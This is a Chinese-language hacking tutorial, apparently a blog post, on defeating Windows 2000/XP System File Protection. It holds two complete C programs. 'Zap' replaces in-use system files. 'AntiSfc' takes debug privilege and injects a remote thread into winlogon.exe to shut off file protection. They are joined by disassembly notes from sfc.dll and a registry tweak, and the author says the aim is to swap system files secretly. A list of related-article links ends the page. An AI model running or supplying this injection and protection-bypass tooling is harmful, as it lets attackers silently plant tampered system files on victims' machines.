刪除正在使用的檔案
#include <stdio.h>
BOOL ZapDelFile(char *szFileToDel)
{
char cTempFileName[0x80];
char cTempPathName[0x100];
char cFileName[0x100];
if(szFileToDel[1] == ':'){
sprintf(cTempPathName, "%c:/", szFileToDel[0]);
}
else{
GetModuleFileName(NULL, cFileName, 0x100);
sprintf(cTempPathName, "%c:/", cFileName[0]);
}
if(GetTempFileName(cTempPathName, "_@", 0, cTempFileName) == 0){
return FALSE;
}
if(MoveFileEx(szFileToDel, cTempFileName, 1) == 0){
return FALSE;
}
if(MoveFileEx(cTempFileName, NULL, 4) == 0){
return FALSE;
}
return TRUE;
}
void usage(char *n) {
printf("usage: %s fileNeedToDeln", n);
exit(0);
}
int main(int argc, char* argv[])
{
printf("Zap programed by bgate. :) *nn");
if (argc != 2)
usage(argv[0]);
if(ZapDelFile(argv[1]) == TRUE){
printf("OK");
}
else{
printf("error %d", GetLastError());
}
return 0;
}
現在你已經可以用它去刪除正在使用的系統檔案了, 不過刪除之後會彈出讓你插入Windows CD對話方塊.
注意: 刪系統檔案前做好備份, 在重啟前恢復, 另外刪系統檔案前還需要把dllcache中相應的備份刪除. 否則系統會自動恢復.
接下來就想辦法去掉這個對話方塊, 拿出我的法寶--google. 胡亂地搜了一氣. 搜到兩條有用資訊.
1.Windows 2000下執行系統檔案保護的程式碼在sfc.dll中, Xp系統下在sfc_os.dll中.
2.登錄檔中把一個叫SfcDisable的鍵設為FFFFFF9D能在下次啟動時讓檔案保護功能失效.
下面的分析是在Win2K sp4+上進行的. 其中分析的sfc.dll版本是5.0.2195.6673
用ida開啟sfc.dll在string中找sfcdisable, 沒找到! 讓string顯示Unicode. 這下看到了. 找到對SfcDisable引用的一個地方.程式碼如下
.text:769269F9 call _SfcQueryRegDwordWithAlternate@16 ; SfcQueryRegDwordWithAlternate(x,x,x,x)
.text:769269FE push ebx
.text:769269FF push offset ??_C@_1BG@HOGG@?$AAS?$AAf?$AAc?$AAD?; "SfcDisable"
.text:76926A04 push edi
.text:76926A05 push esi
.text:76926A06 mov _SFCDebug, eax
.text:76926A0B call _SfcQueryRegDwordWithAlternate@16 ; SfcQueryRegDwordWithAlternate(x,x,x,x)
.text:76926A10 push ebx
.text:76926A11 push offset ??_C@_1BA@HLJH@?$AAS?$AAf?$AAc?$AAS?$AAc?$AAa?$AAn?$AA?$AA@ ; "SfcScan"
.text:76926A16 push edi
.text:76926A17 push esi
.text:76926A18 mov _SFCDisable, eax
.text:76926A1D call _SfcQueryRegDwordWithAlternate@16 ; SfcQueryRegDwordWithAlternate(x,x,x,x)
.text:76926A22 push ebx
.text:76926A23 push offset ??_C@_1BC@KFAJ@?$AAS?$AAf?$AAc?$AAQ?$AAu?$AAo?$AAt?$AAa?$AA?$AA@ ; "SfcQuota"
.text:76926A28 push edi
.text:76926A29 push esi
.text:76926A2A mov _SFCScan, eax
其中_SfcQueryRegDwordWithAlternate@16是讀登錄檔的函式. 很明顯, 它把登錄檔中SfcDisable的值讀到了_SFCDisable中. 好, 調出softice. 在_SFCDisable上設斷點. 我們又用剛寫的zap去刪系統檔案, softice彈出來了. 斷到了下面這個地方, eip為7692A326, _SFCDisable為2.
.text:7692A319 push ecx
.text:7692A31A and [esp+4+var_4], 0
.text:7692A31F cmp _SFCDisable, 3
.text:7692A326 push ebx
.text:7692A327 push ebp
.text:7692A328 push esi
.text:7692A329 push edi
.text:7692A32A jnz short loc_7692A333
.text:7692A32C xor eax, eax
.text:7692A32E jmp loc_7692A459
F5退出, 一會兒對話方塊彈了出來, 就對這兒引用了一次. 很好, 看看上面這段程式碼"cmp _SFCDisable, 3". 此時_SFCDisable為2彈出了對話方塊, 那麼我就把它改為3又用zap刪系統檔案試試. 哈, 運氣很好, 這次沒出現讓插CD的對話方塊了. 也就是說只要我們把_SFCDisable改為3就能偷偷地替換系統檔案了. 不過不同版本這個地址是不一樣的, 用switch來做這個活總是不好. 得寫個有通用性的程式碼.
開始我想它的工作原理大概是Winlogon發現了有對系統檔案進行操作. 便呼叫sfc.dll中的輸出函式進行檢查. 我們就只需得到這個輸出函式入口然後把這個函式"註釋"掉就可以了.跟著上面這段程式碼逆流而上, 找到最後由76924544輸出, 又在76924544上加個斷點, 繼續去刪檔案. softice跳出來了, 不過不在函式的入口, 反倒在剛才設定的對_SFCDisable的讀取上, 沒執行函式的入口就執行了函式體中的程式碼, 看來遇到高人了. 非得逼我出必殺技, 開啟2000原始碼 : ). 找了半天沒找到相應程式碼又只得退回來看彙編, 最後發現了這個函式NtWaitForMultipleObjects. 呵, 難怪沒中斷在函式的入口上, 原來早執行了函式的入口然後在函式體裡一直沒退出. 註釋函式的方法不行了.
這時我想它的工作原理大概是winlogon呼叫sfc.dll中的輸出函式在系統啟動時建立了一系列事件. 既然winlogon建立了, 那麼它也應該得撤銷. 用depends開啟winlogon. 果然從sfc.dll中輸入了兩個函式. 一個是剛才分析的那個, 建立了一系列事件. 看看另一個, 輸出地址是76926869, 不出所料, 關閉了一系列事件. 現在我們只要向winlogon中注入程式碼呼叫"另一個"函式就能取消檔案保護功能了. 不過winlogon不能隨便注入程式碼. 26A雜誌第六期上有篇文章提到了注入方法:"adjust debugger access rightz to our process". 那也是一篇SFCDisable的文章, 他用的方法是在記憶體中搜尋特徵碼, 然後修改. 通用性應該沒這麼好.
下面的注入方法是從crazylord的程式碼中拷過來的, 不過方法不是. :), 寫完後就懶得檢查了, 加之水平有限, 寫的不過優雅的地方就將就著看.
-----------------cut antisfc.c-----------
#include "Windows.h"
#include "Tlhelp32.h"
#pragma comment( lib, "Advapi32.lib" )
typedef void (_stdcall * CLOSEEVENTS)(void);
typedef unsigned long DWORD;
typedef DWORD ANTISFC_ACCESS;
/*
* ANTISFC structures
*/
typedef struct _ANTISFC_PROCESS {
DWORD Pid; // process pid
HANDLE ProcessHandle; // process handle
char ImageName[MAX_PATH]; // image name (not full path)
} ANTISFC_PROCESS, *PANTISFC_PROCESS;
__inline void ErrorMessageBox(char *szAdditionInfo)
{
printf("error on %s, error code %d. n", szAdditionInfo, GetLastError());
}
void usage(char *n) {
printf("usage: %s [/d]n", n);
printf("t/d: disable sfc file protecte fuction.n");
exit(0);
}
DWORD Init() {
DWORD Ret = 0;
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
ErrorMessageBox("OpenProcessToken");
} else {
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
ErrorMessageBox("LookupPrivilegeValue");
} else {
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL)) {
ErrorMessageBox("AdjustTokenPrivileges");
} else {
Ret = 1;
}
}
CloseHandle(hToken);
}
return(Ret);
}
DWORD GetPidEx(char *proc_name, char *full_path) {
DWORD dwPid=0;
HANDLE hSnapshot;
PROCESSENTRY32 pe;
BOOL Ret;
if (isdigit(proc_name[0]))
dwPid = strtoul(proc_name, NULL, 0);
else
dwPid = -1;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == (HANDLE) -1){
ErrorMessageBox("CreateToolhelp32Snapshot");
return(0);
}
pe.dwSize = sizeof(PROCESSENTRY32);
Ret = Process32First(hSnapshot, &pe);
while (Ret) {
if((strncmp(strlwr(pe.szExeFile), strlwr(proc_name), strlen(proc_name)) == 0)
(pe.th32ProcessID == dwPid)) {
dwPid = pe.th32ProcessID;
strcpy(full_path, pe.szExeFile);
break;
}
pe.dwSize = sizeof(PROCESSENTRY32);
Ret = Process32Next(hSnapshot, &pe);
}
CloseHandle(hSnapshot);
if (dwPid == -1)
dwPid = 0;
return(dwPid);
}
DWORD InitProcess(PANTISFC_PROCESS Process, char *proc_name, ANTISFC_ACCESS access) {
DWORD Ret=0;
Process->Pid = GetPidEx(proc_name, Process->ImageName);
if (Process->Pid != 0 && Process->ImageName[0] != 0) {
Process->ProcessHandle = OpenProcess(access, FALSE, Process->Pid);
if (Process->ProcessHandle == NULL)
ErrorMessageBox("OpenProcess");
else
Ret = 1;
}
return(Ret);
}
DWORD InjectThread(PANTISFC_PROCESS Process,
PVOID function) {
HANDLE hThread;
DWORD dwThreadPid = 0, dwState;
hThread = CreateRemoteThread(Process->ProcessHandle,
NULL,
0,
(DWORD (__stdcall *) (void *)) function,
NULL,
0,
&dwThreadPid);
if (hThread == NULL) {
ErrorMessageBox("CreateRemoteThread");
goto cleanup;
}
dwState = WaitForSingleObject(hThread, 4000); // attends 4 secondes
switch (dwState) {
case WAIT_TIMEOUT:
case WAIT_FAILED:
ErrorMessageBox("WaitForSingleObject");
goto cleanup;
case WAIT_OBJECT_0:
break;
default:
ErrorMessageBox("WaitForSingleObject");
goto cleanup;
}
CloseHandle(hThread);
return dwThreadPid;
cleanup:
CloseHandle(hThread);
return 0;
}
int main(int argc, char* argv[])
{
ANTISFC_PROCESS Process;
HMODULE hSfc;
DWORD dwThread;
CLOSEEVENTS pfnCloseEvents;
DWORD dwVersion;
printf("AntiSfc programed by bgate. :) *nn");
if (argc != 2)
usage(argv[0]);
if (strcmp(argv[1], "/d") != 0) {
usage(argv[0]);
}
if (Init()) {
printf("debug privilege setn");
} else {
printf("error on get debug privilegen");
return(0);
}
if(InitProcess(&Process, "winlogon.exe", PROCESS_ALL_ACCESS) == 0) {
printf("error on get process info. n");
return(0);
}
dwVersion = GetVersion();
if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5){ // Windows 2000/XP
if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0){ //Windows 2000
hSfc = LoadLibrary("sfc.dll");
printf("Win2000n");
}
else {//if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1) //Windows XP
hSfc = LoadLibrary("sfc_os.dll");
printf("Windows XPn");
}
}
//else if () //2003?
else {
printf("unsupported versionn");
}
pfnCloseEvents = (CLOSEEVENTS)GetProcAddress(hSfc,
MAKEINTRESOURCE(2));
if(pfnCloseEvents == NULL){
printf("Load the sfc fuction failedn");
FreeLibrary(hSfc);
return(0);
}
FreeLibrary(hSfc);
dwThread = InjectThread(&Process,
pfnCloseEvents);
if(dwThread == 0){
printf("failedn");
}
else{
printf("OKn");
}
CloseHandle(Process.ProcessHandle);
return(0);
}
------------------end cut---------
在執行zap替換系統檔案前執行一下antisfc就行了, 你也可以把它們寫到一起. 理論上他能在2000, xp, 2003?的任何版本上使用. 不過我只在Win2K sp4+, WinXP sp1+上測試過.
本文的缺點是替換的系統檔案只能在重啟後生效, 寫完了.
相關文章
- win10系統刪除檔案提示檔案正在使用無法刪除如何解決Win10
- 刪除正在使用的檔案,空間不釋放的問題
- win10電腦刪除檔案時提示檔案正在使用無法刪除怎麼解決Win10
- 刪除檔案提示檔案正在被另一個人或程式使用的解決方法
- 檔案的刪除
- 使用RMAN安全刪除歸檔檔案
- 5種方法教你如何刪除Windows中正在執行的檔案Windows
- 刪除檔案
- 使用lsof恢復誤刪除的檔案
- SVN !檔案刪除
- rm 刪除檔案
- 批次刪除檔案
- Git——刪除檔案Git
- Linux下批量刪除空檔案或者刪除指定大小的檔案Linux
- PostgreSQL如何刪除不使用的xlog檔案SQL
- 如何使用 testdisk 恢復已刪除的檔案
- solaris下使用lsof恢復刪除的檔案
- ZT:使用lsof恢復誤刪除的檔案
- u盤裡的檔案無法刪除 如何刪除u盤裡刪不掉的檔案
- 刪除github上的檔案Github
- 恢復刪除的檔案
- 刪除檔案的恢復
- 刪除古怪檔案的方法
- 刪除vmvare的大檔案
- win10休眠檔案有必要刪除嗎 刪除休眠檔案的方法Win10
- git的忽略檔案和刪除檔案操作Git
- 使用檔案描述符恢復誤刪除的資料檔案
- 使用Python批量刪除檔案列表薦Python
- LINUX 使用批量刪除檔案的幾種方法Linux
- Linux下使用lsof恢復刪除的檔案Linux
- 如何刪除win10更新檔案_win10刪除更新檔案的方法Win10
- Git刪除指定檔案Git
- dll檔案刪除不了
- Git恢復刪除的檔案Git
- RocketMQ -- 過期檔案的刪除MQ
- 批量刪除檔案中的^M
- 疑難檔案的刪除方案
- 刪除Repository中的檔案